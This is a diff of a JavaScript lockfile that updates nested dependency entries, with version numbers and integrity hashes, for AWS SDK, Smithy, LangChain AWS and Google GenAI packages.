+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="],
- "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
- "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minimatch": ["minimatch@9.0.5", "", { "dependencies": { "brace-expansion": "^2.0.1" } }, "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
+
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry": ["path-scurry@1.11.1", "", { "dependencies": { "lru-cache": "^10.2.0", "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" } }, "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
@@ -9175,6 +8561,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9185,37 +8579,51 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
@@ -9223,6 +8631,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.3.6", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-serde": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-middleware": "^4.2.4", "tslib": "^2.6.2" } }, "sha512-PXehXofGMFpDqr933rxD8RGOcZ0QBAWtuzTgYRAHAL2BnKawHDEdf/TnGpcmfPJGwonhginaaeJIKluEojiF/w=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-Gy3TKCOnm9JwpFooldwAboazw+EFYlC+Bb+1QBsSi5xI0W5lX81j/P5+CXvD/9ZjtYKRgxq+kkqd/KOHflzvgA=="],
@@ -9239,12 +8655,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/middleware-retry/@smithy/service-error-classification": ["@smithy/service-error-classification@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1" } }, "sha512-fdWuhEx4+jHLGeew9/IvqVU/fxT/ot70tpRGuOLxE3HzZOyKeTQfYeV1oaBXpzi93WOk668hjMuuagJ2/Qs7ng=="],
